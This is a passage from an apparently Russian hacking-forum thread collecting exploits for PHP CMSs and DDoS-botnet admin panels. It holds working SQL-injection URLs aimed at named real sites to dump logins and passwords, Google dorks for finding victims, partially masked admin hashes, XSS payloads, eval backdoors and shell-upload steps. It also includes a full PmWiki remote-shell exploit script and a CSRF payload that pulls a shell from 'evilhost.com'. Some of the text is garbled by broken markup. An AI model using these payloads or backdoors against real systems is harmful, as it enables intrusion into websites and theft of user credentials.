3) Переименуем наш шелл в *.phtml, т.е. wso.php => wso.phtml
4) Заливаем через форму справа(Upload file(s))
5) Получаем шелл, причем с сайта opensourcecms.com
UPD. Кто убил демку WebBaker-а? Имейте совесть...
Pligg CMSv.1.2.0 (последняя) g00gle >7KK
dorki:
Pligg Content Management System
Pligg CMS
Boolean-Based vurnel
http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),2,1 )) > 1 AND 'AOOt'='AOOt
http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),1,1 )) > 51 AND 'AOOt'='AOOt
http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),1,1 )) > 52 AND 'AOOt'='AOOt
Таблицы:
prefix: pligg_
table: users
columns: user_login,user_pass (where user_level='god')
for example
www.proprofs.com
Alexa 10K (~100K unikov)
god, ***************809b221f581cdbba8c1489e******
james, ****************91acf54adcea0b79a79d******
gsbaghel, ***************f5ecb878f4d045e5306c2413c******
С хэшами тут так:
functiongenerateHash($plainText,$salt=null){
if ($salt===null) {
$salt=substr(md5(uniqid(rand(),true)),0,SALT_LENGT H); }
else {
$salt=substr($salt,0,SALT_LENGTH);
}
return$salt.sha1($salt.$plainText);
}
Вообщем отсекаем первые 9 символов хэша (из 49) - и они же являются солью в оставшихся 40 символах (уже SHA1)
Shell Upload
Заливаемся через:
1) модули
2) редактирование тем
vurnel code
if ($my_base_url==''){
define('my_base_url',"http://".$_SERVER["HTTP_HOST"]);
if(isset($_REQUEST['action'])){$action=sanit($_REQUEST['action']);}else{$action="";}
$pos=strrpos($_SERVER["SCRIPT_NAME"],"/");
$path=substr($_SERVER["SCRIPT_NAME"],0,$pos);
if ($path=="/"){$path="";}
define('my_pligg_base',$path);
$my_pligg_base=$path;
} else {
define('my_base_url',$my_base_url);
define('my_pligg_base',$my_pligg_base);
}
define('urlmethod',$URLMethod);
if(isset($_COOKIE['template'])){
$thetemp=str_replace('..','',sanit($_COOKIE['template']));
}
// template check
$file=dirname(__FILE__) .'/templates/'.$thetemp."/pligg.tpl";
unset($errors);
if (!file_exists($file)) {$errors[]='You may have typed the template name wron g or "'.$thetemp.'" does not exist. Click here to fix it.'; }
if (isset($errors)) {
$thetemp="wistie";
$file=dirname(__FILE__) .'/templates/'.$thetemp."/pligg.tpl";
if (!file_exists($file)) {echo'The defa ult Wistie template does not exist anymore. Please fix this by reuploading the Wistie template!'; die();}
foreach ($errorsas$error) {
$output.="Error:$error\n";
}
if (strpos($_SERVER['SCRIPT_NAME'],"admin_config.php") ==0&&strpos($_SERVER['SCRIPT_NAME'],"login.php") ==0){
echo"Error:$error\n";
die();
}
}
$view= isset($_GET['view']) &&sanitize($_GET['view'],3) !=''?sanitize($_GET['view'],3) :'profile';
if ($view=='setting'&&$truelogin!=$login)
$view='profile';
$page_header=$user->username;
$post_title=$main_smarty->get_config_vars('PLIGG_Visual_Breadcrumb_Profile') ." | ".$login;
$main_smarty->assign('user_view',$view);
if ($view=='profile') {
do_viewfriends($user->id);
$main_smarty->assign('view_href','');
$main_smarty->assign('nav_pd',4);
} else {
$main_smarty->assign('nav_pd',3);
}
if ($view=='voted') {
$page_header.=' | '.$main_smarty->get_config_vars('PLIGG_Visual_User_NewsVoted');
$navwhere['text3'] =$main_smarty->get_config_vars('PLIGG_Visual_User_NewsVoted');
$post_title.=" | ".$main_smarty->get_config_vars('PLIGG_Visual_User_NewsVoted');
$main_smarty->assign('view_href','voted');
$main_smarty->assign('nav_nv',4);
} else {
$main_smarty->assign('nav_nv',3);
}
if ($view=='history') {
$page_header.=' | '.$main_smarty->get_config_vars('PLIGG_Visual_User_NewsSent');
$navwhere['text3'] =$main_smarty->get_config_vars('PLIGG_Visual_User_NewsSent');
$post_title.=" | ".$main_smarty->get_config_vars('PLIGG_Visual_User_NewsSent');
$main_smarty->assign('view_href','submitted');
$main_smarty->assign('nav_ns',4);
} else {
$main_smarty->assign('nav_ns',3);
}
if ($view=='setting')
{
$usercategorysql="SELECT * FROM ".table_users." where user_login = '".$db->escape($login)."' ";
$userresults=$db->get_results($usercategorysql);
$userresults=object_2_array($userresults);
$get_categories=$userresults['0']['user_categories'];
$user_categories=explode(",",$get_categories);
$categorysql="SELECT * FROM ".table_categories." where category__auto_id!='0' ";
$results=$db->get_results($categorysql);
$results=object_2_array($results);
$category= array();
foreach($resultsas$key=>$val)
{
$category[] =$val['category_name'];
}
$sor=$_GET['err'];
if($sor==1)
{
$err="You have to select at least 1 category";
$main_smarty->assign('err',$err);
}
$main_smarty->assign('category',$results);
$main_smarty->assign('user_category',$user_categories);
$main_smarty->assign('view_href','submitted');
if (Allow_User_Change_Templates)
{
$dir="templates";
$templates= array();
foreach (scandir($dir) a s$file)
if (strstr($file,".")!==0&&file_exists("$dir/$file/header.tpl"))
$templates[] =$file;
$main_smarty->assign('templates',$templates);
$main_smarty->assign('current_template',sanitize($_COOKIE['template'],3));
$main_smarty->assign('Allow_User_Change_Templates',Allow_User_Ch ange_Templates);
}
$main_smarty->assign('nav_set',4);
// check for redirects
include(mnminclude.'redirector.php');
$x= newredirector($_SERVER['REQUEST_URI']);
header("Location:$my_pligg_base/404error.php");
// $main_smarty->assign('tpl_center', '404error');
// $main_smarty->display($the_template . '/pligg.tpl');
die();
}
// Hide private group stories
if ($link->link_group_id)
{
$privacy=$db->get_var("SELECT group_privacy FROM ".table_groups." WHERE group_id ={$link->link_group_id}");
if ($privacy=='private'&& !isMember($link->link_group_id))
{
die('Access denied');
}
}
if(isset($_POST['process']) &&sanitize($_POST['process'],3) !=''){
if (sanitize($_POST['process'],3)=='newcomment') {
check_referrer();
$vars= array('user_id'=>$link->author,'link_id'=>$link->id);
check_actions('comment_subscription',$vars);
insert_comment();
}
}
$requestID= isset($_GET['id']) &&is_numeric($_GET['id']) ?$_GET['id'] :0;
if(isset($_GET['title']) &&sanitize($_GET['title'],3) !=''){$requestTitle=sanitize($_GET['title'],3);}
// if we're using "Friendly URL's for categories"
if(isset($_GET['category']) &&sanitize($_GET['category'],3) !=''){$thecat=$db->get_var("SELECT category_id FROM ".table_categories." WHERE `category_safe_name` = '".$db->escape(urlencode(sanitize($_GET['category'],3)))."';");}
if($requestID>0&&enable_friendly_urls==true){
// if we're using friendly urls, don't call /story.php?id=XX or /story/XX/
// this is to prevent google from thinking i t's spam
// more work needs to be done on this
$link= newLink;
$link->id=$requestID;
if($link->read() ==false|| ($thecat>0&&$link->category!=$thecat)){
header("Location:$my_pligg_base/404error.php");
// $main_smarty->assign('tpl_center', '404error');
// $main_smarty->display($the_template . '/pligg.tpl');
die();
}
$url=getmyurl("storyURL",$link->category_safe_name($link->category),urlencode($link->title_url),$link->id);
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: ".$url);
die();
}
// AFFERO GENERAL PUBLIC LICENSE is also incl uded in the file called "COPYING".
functionstr_ends_with($haystack,$needle) {
return (substr($haystack, -strlen($needle) ) ===$needle) ||$needle==='';
}
/* If the URL is too verbose (specifying in dex.php or page 1), then, of course
* we just want the main page, which defa ults to page 1 anyway. */
$url=parse_url($_SERVER['REQUEST_URI']);
if (strpos($_SERVER['REQUEST_URI'],'index.php') !==false|| ( isset ($_GET['page']) &&$_GET['page'] ==1))
{
header("HTTP/1.1 301 Moved Permanently");
$_SERVER['QUERY_STRING'] =str_replace('page=1','',$_SERVER['QUERY_STRING']);
header("Location: ./".($_SERVER['QUERY_STRING'] ?'?'.$_SERVER['QUERY_STRING'] :''));
exit;
}
elseif (str_ends_with($url['path'],'/page/1') ||str_ends_with($url['path'],'/page/1/'))
{
header("HTTP/1.1 301 Moved Permanently");
header("Location: ../".($_SERVER['QUERY_STRING'] ?'?'.$_SERVER['QUERY_STRING'] :''));
exit;
}
tabletkO
27.11.2011, 19:46
PmWiki
[B]Exploit:
[COLOR="#0000BB"] \n";
print"\nExample....: php$argv[0]localhost /";
print"\nExample....: php$argv[0]localhost /pmwiki/\n";
die();
}
$host=$argv[1];
$path=$argv[2];
$phpcode="']);error_reporting(0);passthru(base64_decode(\$_SER VER[HTTP_CMD]));print(___);die;#";
$payload="action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";
$packet="POST{$path}pmwiki.php HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Content-Length: ".strlen($payload)."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Connection: close\r\n\r\n{$payload}";
if (!preg_match("/Location/",http_send($host,$packet))) die("\n[-] Edit password required?!\n");
$packet="POST{$path}pmwiki.php HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Cmd: %s\r\n";
$packet.="Content-Length: 11\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Connection: close\r\n\r\nn=Cmd.Shell";
while(1)
{
print"\npmwiki-shell# ";
if (($cmd=trim(fgets(STDIN))) =="exit") break;
$response=http_send($host,sprintf($packet,base64_e ncode($cmd)));
preg_match("/\n\r\n(.*)___/s",$response,$m) ? print$m[1] : die("\n[-] Exploit failed!\n");
}
?>
Уязвимый код:
$code='';
foreach($opt['=order'] as$o=>$r) {
if (@$PageListSortCmp[$o])
$code.="\$c ={$PageListSortCmp[$o]}; ";
else
$code.="\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";
$code.="if (\$c) return$r\$c;\n";
}
StopWatch('PageListSort sort');
if ($code)
uasort($list,
create_function('$x,$y',"global \$PCache;$codereturn 0;"));
StopWatch('PageListSort end');
P.S. Без авторизации проходит только на нескольких сайтах, а в остальных нужно авторизоватся и добавить в пакет ваш User-Agent и Cookie. Т.е.
$packet.="User-Agent: bla-bla\r\n";
$packet.="Cookie: blabla=6gui67gg7t76rf7iiiirvr76r67v\r\n";
Кто допер, тот допер...
trololoman96
09.12.2011, 17:30
Уязвимости админ панели у Black Energy ddos bot
1) Версия 1.92
Возможно раскрытие путей через session_start();, для этого в PHPSESSID установите !@#$%@#@
При magic_quotes_gpc = off возможна sql inj в REPLACE INTO
Уязвимый код в index.php:
if (isset($_POST['opt']))
{
if (!isset($_POST['opt']['spoof_ip']))
$_POST['opt']['spoof_ip'] =0;
foreach (array_keys($_POST['opt']) as$k) {
db_query("REPLACE INTO `opt` (`name`, `value`) VALUES ('$k', '{$_POST['opt'][$k]}')");
header("location: index.php");
}
}
....
$r=db_query("SELECT * FROM `opt`");
while ($f=mysql_fetch_array($r))
$opt[$f['name']] =$f['value'];
Есть мини сплоент
echopost("http://127.0.0.1/be/www/index.php","opt[cmd'/*]=*/, (select version()) ) -- 1",'');
functionpost($url,$post,$refer) {
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_USERAGENT,"Opera/9.61 (Windows NT 5.1; U; Edition Campaign 0 5; en) Presto/2.1.1");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
curl_setopt($ch,CURLOPT_REFERER,$refer);
curl_setopt($ch,CURLOPT_COOKIE,"PHPSESSID=7ea3b2c1f4150f4948555ac26263dd33;");// нужно указать свой для а вторизации
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,false);
$answer=curl_exec($ch);
return$answer;
}
Кстати, если есть доступ к северу с сайта соседа и место хранения сессий одинаковое (/tmp/ например) сессию можно легко подделать. Там не проверяются логин и пароль, а проверяется auth на значение true
if (isset($_SESSION['auth']))header("location: index.php");
Для этого создаете в хранилище файл с названием sess_123456 и содержанием auth|b:1; , после чего в Cookie подменяете PHPSESSID на 123456.
При использовании мультибайтовой кодировки в бд возможна еще иньекция в stat.php через addslashes(), но это думаю очень повезти должно.
2) Версия v1.8_VIP
Обход авторизации
Уязвимый код в index.php:
$logined= @$_COOKIE['logined'];
if ($logined===$pass)
{
$logined=true;
}
В cookie достаточно установить logined с любым значением и авторизация пройдет.
В админке есть 3 sql inj, через INSERT,DELETE и есть через REPLACE которая описана выше.
Опишу sql inj через insert
Уязвимый код в index.php:
case"add":
if (empty($_POST['url']))
break;
if (isset($_POST['country']))$_POST['country'] =strtoupper($_POST['country']);
$sql="INSERT INTO `files`
(`url`, ` dnum`, `country`)
VALUES
('{$_POST['url']}', '".intval($_POST['dnum'])."', '{$_POST['country']}')
";
mysql_query($sql);
header("location: index.php");
break;
Для эксплатации в
url пишем test' /*
в for country: пишем */ ,'1', (select version()) )--
Тут есть маленький подвох еще, длина поля country (в котором вывод) всего 10 символов, так что крутить придется выдирая данные частями либо через ошибку.
trololoman96
13.12.2011, 06:52
SimpleVideoScript (на данный момент последняя версия)
Оф. сайт: http://www.bonkenscripts.com/
Раскрытие путей:
Раскрытие путей через session_start() в admin.php
http://127.0.0.1/video/videos/watch.php?id[]=111
пассивная xss через $_SERVER['PHP_SELF'] в шаблоне
[CODE]
http://127.0.0.1/video/index.php/'>alert(/xss/)alert(/xss/)
alert(/hello world/)"[/COLOR]name="domain">
document.forms["form"].submit();
[/COLOR]
[/PHP]
то получим активную xss на главной
SimpleVideoScript
(на данный момент последняя версия)
Оф. сайт:
http://www.bonkenscripts.com/
поэтому есть еще одна sql inj которой
register_globals = on
не нужен
Exploit:
http://site.ru/videos/watch.php?id=111'+union+select+1,version(),3,4,5,6 ,7,8,9,10,11,12,13--+
Dork: intext:"Website by Bonken"
Пример инъекции:
_ttp://3gtv.dk/videos/watch.php?id=111'+union+select+1,@@version,3,4,5,6 ,7,8,9,10,11,12,13+and+'a'='b
Fapos CMS 1.3 RC3
Fapos CMS 1.3 RC3
Forum Module 1.5.3.7
Dork: Сайт управляется Бесплатной CMS Fapos
File Upload в модуле Forum [\modules\forum\index.php].
При добавлении новой темы:
private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS');
if (!empty($_FILES[$attach_name]['name'])) {
// Извлекаем из имени файла расширение
$ext = strrchr($_FILES[$attach_name]['name'], ".");
// Формируем путь к файлу
if (in_array( $ext, $extentions))
$file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';
else
$file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;
$is_image = (in_array($ext, $img_extentions)) ? 1 : 0;
// Перемещаем файл из временной директории сервера в директорию files
if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {
chmod(R . 'sys/files/forum/' . $file, 0644);
При добавлении нового поста прикрепленным файлом:
private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS')
if (!empty($_FILES[$attach_name]['name'])) {
// Извлекаем из имени файла расширение
$ext = strrchr($_FILES[$attach_name]['name'], ".");
// Формируем путь к файлу
if (in_array( $ext, $extentions) || empty($ext)) {
$file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';
} else {
$file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;
}
$is_image = 0;
if ($_FILES[$attach_name]['type'] == 'image/jpeg'
|| $_FILES[$attach_name]['type'] == 'image/jpg'
|| $_FILES[$attach_name]['type'] == 'image/gif'
|| $_FILES[$attach_name]['type'] == 'image/png') {
$is_image = 1;
}
// Перемещаем файл из временной директории сервера в директорию files
if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {
chmod(R . 'sys/files/forum/' . $file, 0644);
После загрузки шелл будет:
[target]/sys/files/forum/$post_id-$i-date("YmdHi").pHp [Имя файла можно посмотреть в созданном вами посте]
Еще забавная штука: если разрешено оставлять комментарии юзеру с правами "Гость", можно комментировать от любого имени (даже админского =)).
Saurus CMS CE Version 4.7 @ 01.12.2011 [http://www.saurus.info/get-saurus-cms/]
HTTP Response Splitting/Path Disclosure
Уязвимость существует при обработке входных данных в параметре "url" сценария "redirect.php" [/editor/redirect.php].
if($_GET['url'])
{
$url = urldecode($_GET['url']);
//prevent Response Splitting attack
$url = preg_replace("!\r|\n.*!s", "", $url);
header('Location: '.$_GET['url']);
}
else
{
header('Location: index.php');
}
http://[host1]/sau/editor/redirect.php?url=http://[host2]/target.php%0d%0aSet-Cookie: Name=Value
Интерпретатор PHP содержит защиту от атак, начиная с версий 4.4.2 и 5.1.2.
В виду того, что у меня в наличии имеется только версия PHP Version 5.2.12, попробовать не удалось.
Поэтому, Path Disclosure:
http://www.saurus.info/editor/redirect.php?url=%0D%0ALocation:%20http://www.google.com
=> Warning: Header may not contain more than a single header, new line detected. in /data01/virt2962/domeenid/www.saurus.ee/htdocs/editor/redirect.php on line 88
Path Disclosure: Illegal Session Injection
Пишем вместо PHPSESSID всякую #$&%^**(@#:
=> Warning: session_start() [function.session-start]: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /data01/virt2962/domeenid/www.saurus.ee/htdocs/index.php on line 236
Способы заливки шелловопубликованы:[#_1] (https://forum.antichat.net/showpost.php?p=2945101&postcount=2) [#_2] (https://forum.antichat.net/showpost.php?p=2949667&postcount=3)
Fapos CMS 1.3 RC3
Foto Module
Dork: Сайт управляется Бесплатной CMS Fapos
File Upload в модуле Foto [/foto/add_form/], при добавлении нового материала в фотокаталог. Обход проверки осуществляется подделкой Сontent-Type.
/* check file */
if (empty($_FILES['foto']['name'])) {
$error = $error .''.__('Not attaches').''. "\n";
} else {
if ($_FILES['foto']['size'] > Config::read('max_file_size', 'foto'))
$error = $error .''. sprintf(__('Wery big file2'), Config::read('max_file_size', 'foto')/1000) .''."\n";
if ($_FILES['foto']['type'] != 'image/jpeg' &&
$_FILES['foto']['type'] != 'image/gif' &&
//$_FILES['foto']['type'] != 'image/bmp' &&
$_FILES['foto']['type'] != 'image/png')
$error = $error .''.__('Wrong file format').''."\n";
}
Шелл будет находиться:
http://[target]/sys/files/foto/full/[№file].php
trololoman96
29.12.2011, 19:24
PHPru Search v.2.6
Произвольное выполнение php кода
Уязвимый код в index.php
$NEW=time().'^^'.$searchstring.'^^'.$_SERVER["HTTP_REFERER"].'^^'.$IP."\r\n";
PHPruSave($NEW,'sinc/query.php','a+');
Для эксплуатации уязвимости нужно выполнить поиск по сайту с любым кейвордом при этом подделав свой реффер например через плагин tamper data для файрфокса на что то типа такого
после чего идем сюда:
http://127.0.0.1/phprusearch/sinc/query.php?cmd=phpinfo();
и делаем уже с бекдором то что хотим
[SIZE="2"]Advanced Poll version )
[B]Эксплуатация:
http;//site.ltd/poll/demo_3.php?poll_id=1+or+1+group+by+concat_ws(0x3a, version(),rand(0)|0)+having+min(0)--+f
Результат:
Error Number: 1062 Duplicate entry '5.0.77:1' for key 'group_key'
В файл demo_3.php инклудится уязвимый скрипт class_poll.php
[COLOR="#0000BB"]functionis_valid_poll_id($poll_id) {
if ($poll_id>0) {
$this->db->fetch_array($this->db->query("SELECT poll_id FROM ".$this->tbl['poll_index']." WHERE poll_id=$poll_idAND statusdb->record['poll_id']) ?true:false;
} else {
returnfalse;
}
}
Dork: inurl:"popup.php?action=results"
Результатов: примерно 204 000 (0,23 сек.) Развлекатейсь
PoC:
http://www.bookmine.com/poll/demo_3.php?poll_id=11+or+1+group+by+concat_ws(0x3a ,version(),rand(0)|0)+having+min(0)--+f
© Ereee
[B][SIZE="2"][COLOR="Green"]MDS-JOB version
trololoman96
02.01.2012, 22:38
FC4 - Счетчик посетителей вебсайта
Офф сайт:http://linesoft.org/
Описание:SQL inj
Зависимости:mg=off и rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет)
Файл: /admin/index.php
Уязвимый код:
if ($cmd=="Counter")
{
echo"{$AllCommands[$cmd]}";
$cmd="Counter.Change";
$query="SELECT * FROM fc4 WHERE Name=\"$Name\"";
$result=mysql_query($query)
or print("Ошибка при MySQL запросе: ".mysql_error());
Авторизации никакой не требуется, там еще есть инъекции в insert,update,delete, эта самая простая
Exploit
http://127.0.0.1/fc4-0.34/admin/index.php?cmd=Counter&Name=tdsadas"+and+5=4+union+select+1,2,3,4,5,6,7,version()--+
Описание:пассивная xss
Зависимости:rg = on
Файл: admin/counter_form.php
Уязвимый код:
">
[/COLOR]
из за того что register_globals = on и переменные в скрипте не определены по умолчанию, мы можем поменять их содержание
Exploit
http://127.0.0.1/fc4-0.34/admin/counter_form.php?cmd=">alert(/xss/)
============================
LS GuestBook v1.0
Офф сайт:http://linesoft.org/
Описание:пассивная xss
Зависимости:rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет)
Файл: /guestbook.php
Уязвимый код:
Пароль:
$new_pwd обьявляеться в скрипте только если файла pwd.dat нет, а его нет только при 1 заходе
и установки пароля администратора
Exploit
http://www.bes-chagda.ru/ls_guestbook/guestbook.php?go=auth&new_pwd=1>alert(/xss/)
пароль администратора есть в куках, зашифрован в md5
=====================
LS Logs 1.22
Офф сайт:http://linesoft.org/
Описание:пассивная xss
Зависимости: rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет)
Файл: /logsa.php
Уязвимый код:
[Фильтр]строка в url:
Exploit
http://127.0.0.1/LSLogs/example/logsa.php?filter_string=">alert(/xss/)
Заливка шелла в MODx
Заливка шелла в MODx(тестил на 1.0.5)
1-вариант. Через модуль Doc Manager(можно любой другой или создать свой, юзал Opera):
1) Админка(http://site/manager/) => Сайт => Модули => Doc Manager => В поле "Код модуля(php)" вставляем:
if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));
Сохраняем.
2) Идем:
Админка => Модули => Doc manager(жмите на него колесиком[mouse3])
Открывается новое окно "Менеджер ресурсов". Скопируте адресную строку(http://site/manager/index.php?a=112&id=1).
Жмем Ctrl+U, в самый верх пишем:
ЖМИ
Применяем изменения. Видим огромную ссылку "ЖМИ", жмем и видим phpinfo();. Если не менять исходник, ругается двиг, типа Anti-CSRF.
2-вариант. Банально:
1) Идем:
Админка > Инструменты => Конфигурация => Файл-менеджер
В поле "Разрешенные к загрузке файлы" через запятую добавляем php.
2) Идем:
Админка => Элементы => Управление файлами => Внизу "Обзор" => Льем шелл в любую папку.
3-вариант. Редактируем прямо из админки php-файлы(если права есть):
1) Идем:
Админка => Элементы => Управление файлами
Видим файлы, рядом с доступной для записи файлов есть зеленая галка, жмем. Появится поле, вставляем код, жмем "Сохранить".
Шелл доступен по адресу http://site.ltd/redaktirovanyi_file.php
---
Раскрытие пути(тестил на 1.0.5)
http://site/assets/cache/siteCache.idx.php
http://site/assets/plugins/managermanager/example.mm_rules.inc.php
http://site/assets/plugins/managermanager/default.mm_rules.inc.php
http://site/assets/plugins/managermanager/mm.inc.php
etc.
ArmageddoN DDoS Bots 2.0
SQL Инъекция & Выполнение кода
NEED:magic_quotes_gpc = Off, admin_rights
Уязвимый участок кода:
index.php
";
fwrite($fh,$data);
fclose($fh);
}
[...] if(isset($_GET['url']) &&$_GET['url']!=''){
$url=$_GET['url'];
$text=str_replace("n","",$url);
addcommand($url); }
[...]
PoC:
Добавляем новую команду с текстом:
'; @eval($_REQUEST['cmd']); $a='lol
Exec: /command.php?cmd=phpinfo();
Чтение содержимого файлов (config.php+)
NEED:admin_rights
editheaders.php
Уязвимый участок кода:
[PHP]
[COLOR="#0000BB"]&filename=shell.php%00 (при условии magic_quotes_gpc = Off)
?com=Save&data=&filename=shell.php////[4096 слешей]////
[/CODE]
[COLOR="#000000"]
Раскрытие путей
Почти в каждом файле(login.php+)
Уязвимый участок кода:
session_start();
PoC:
Cookie: PHPSESSID=!@#$%^&*()_+;
©0x0000ED.COM, Boolean
TopForm CMS офф. сайт (http://www.adminv.ru/)
error-based sql
уязвимый параметр issue_id
issue_id=7'+and+(select+1+from(select+count(*),con cat((select+concat(login,0x3a,password)+from+users +limit+0,1),floor(Rand(0)*2))a+from+information_sc hema.tables+group+by+a)b)+--+
так же уязвимы параметры id и cat
в админке:
/admin.php
sql в post-запросе логина
уязвимый параметр parent
admin.php?a=issues&parent=11+and+(select+1+from(select+count(*),conca t((select+concat(login,0x3a,password)+from+users+l imit+0,1),floor(Rand(0)*2))a+from+information_sche ma.tables+group+by+a)b)+--+&action=new
так же issue_id, class
PoC:
http://bzhi.ru/?issue_id=7&cat=2'+and+(select+1+from(select+count(*),concat(( select+concat(login,0x3a,password)+from+users+limi t+0,1),floor(Rand(0)*2))a+from+information_schema. tables+group+by+a)b)+--+
dork:
inurl:"index.php?issue_id="
© faza02
memento cms 2
memento cms 2
index.php?issue_id=sql inj
админка: admin.php
пароли не хэшированны
хотя возможно это и есть то что в предидущем посте
Обзор уязвимостей админ панели Dirt Jumper 5
SQL Inj [INSERT]
/index.php:
[...]
$ip=$_POST['k'];
[...]
mysql_query(" INSERT INTO `td` (`ip`,`ip2`,`time`)VALUES('$ ip','$ip2','$time')");
[...]
Из инъекции особо ничего не вытянуть, но «обесточить» сервер можно, воспользовавшись тем же BENCHMARK'ом.
Если честно, непонятно, что курили разработчики, но команды хранятся в файле img.gif и для показа ботам файл инклудится.
/index.php:
[...]
include"img.gif";
[...]
Code Execution
Нужны права админа.
1. Добавляем новую команду:
* Никакой фильтрации нет вообще.
2. POST index.php:
k=1&cmd=phpinfo()
Если знаете параметр $GET_login, который прописывается в конфиге(по дефолту dj5) можно провернуть CSRF результатом которого будет выполнение php кода и xss.
" />
Где http://EVILHOST.COM/EVIL.JS ссылка на ваш зловредный js код.
* Можно еще сразу же средствами js отправить POST запрос на /index.php, и выполнить код, например
copy("http://evilhost.com/shell.txt", "shell.php"); file_put_contents("img.gif", "");
Тогда шелл автоматически зальется(если прав хватит), а img.gif очистится.
winstrool
17.05.2012, 13:29
Уязвимый скрипт: public.php
Уязвимая функция:
display_fns.php
global $id_n;
$conn_nt=db_connect("select id_pub, name, link, text
from pub
where id_pub =
$id_n
");
$pub_text=mysql_fetch_array($conn_nt);
$id_pub="$pub_text[id_pub]";
$name="$pub_text[name]";
$text="$pub_text[text]";
$link="$pub_text[link]";
echo "$name";
echo "$link";
echo "";
echo "$text";
}
exploit:
http://bionat.ru/public.php?id_n=-24+union+select+concat_ws(0x3a,user_name,password) ,2,3+from+user
http://bogan.ru/service.php?id_s=27999+union+select+concat_ws(0x3a ,user_name,password),2,3+from+user
http://kalmatron-s.ru/public.php?id_n=-24+union+select+1,concat_ws(0x3a,user_name,passwor d),3+from+user
google:
intext:"Copyright © 2002 - 2012, Интернет-агентство «Боган»"
profit:
Для устранения уязвимости достаточно добавить функцию intval();
code:
$conn_nt=db_connect("select id_pub, name, link, text
from pub
where id_pub =
intval($id_n)
");
phpComasy 1.0.1
index.php
data=$data;
$this->web= &$web;
}
functionget_search_form() {
$return='';
$return.=' ';
$return.='';
$return.='';
return$ret urn;
}
functionform_search() {
$this->web->title=_SEARCH;
$this->web->introduction='';
$this->web->content='';
$return='';
$return.=''._SEARCH_STRING.'
';
$return.='';
$return.='';
$this->web->content.=$return;
$this->web->content.='';
}
functionsearch_result() {
$this->web->title=_SEARCH;
$this->web->introduction='';
$this->web->content='';
// Security check
$searchtext=str_replace(array("%","&",";","?","/","\\"),"",$this->data['searchtext']);
$searchtext_umlaut=$this->web->tools->umlaut($searchtext);
if (strle n($searchtext) >=3) {
$search_query=$this->web->db->query("SELECT * FROM `#__page_language` WHERE langua ge='".$this->web->language->get_current_language()."' AND (LOWER(title) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(introduction) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(content) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(title) LIKE '%".strtolower(trim($searchtext_umlaut))."%' OR LOWER(introduction) LIKE '%".strtolower(trim($searchtext_umlaut))."%' OR LOWER(content) LIKE '%".strtolower(trim($searchtext_umlaut))."%');");
example:
http://www.ssk66.de/?action=search_result
POST: searchtext=sad') or (select count(*)from information_schema.tables group by concat((version()),floor(rand(0)*2)))or('
shell upload:
classes/class.file_manager.php
functionfile_upload() {
if ($this->web->security->check_security() ==1||$this->web->security->check_access_for_area('filemanager')) {
if ($_FILES['file']['tmp_name']) {
$extention=strtolower(strrchr($_FILES['file']['name'],'.'));
chmod($_FILES['file']['tmp_name'],0644);//chmod fixchmod ($_FILES['file']['tmp_name'],0644); //chmod fix
$new_filename=str_replace(" ","_",$this->web->tools->special_chars_to_html($this->path.$_FILES['file']['name'],false,true));
$new_filename_without_path=str_replace(" ","_",$this->web->tools->special_chars_to_html($_FILES['file']['name'],false,true));
move_uploaded_file($_FILES['file']['tmp_name'],__ABSOLUTE_PATH.'/data/'.$new_filename);
if (($extention==".png") || ($extention==".gif") || ($extention==".jpg") || ($extention==".jpeg")) {
$this->web->message->send_message(_MESSAGE_FILE_UPLOAD_SUCCESSFUL,'',0, '&action=image_convert_form&path='.$this->path.'&file='.$new_filename_without_path);
}
else {
$this->web->message->send_message(_MESSAGE_FILE_UPLOAD_SUCCESSFUL,'',0, '&action=file_manager&path='.$this->path);
}
}
else {
$this->web->message->send_message(_MESSAGE_REQUIRED_PARAMETER,'',0,'&action=file_upload_form&path='.$this->path);
}
}
else {$th is->web->message->send_message(_MESSAGE_NO_PERMISSION);}
}
classes/class.security.php
functioncheck_security() {
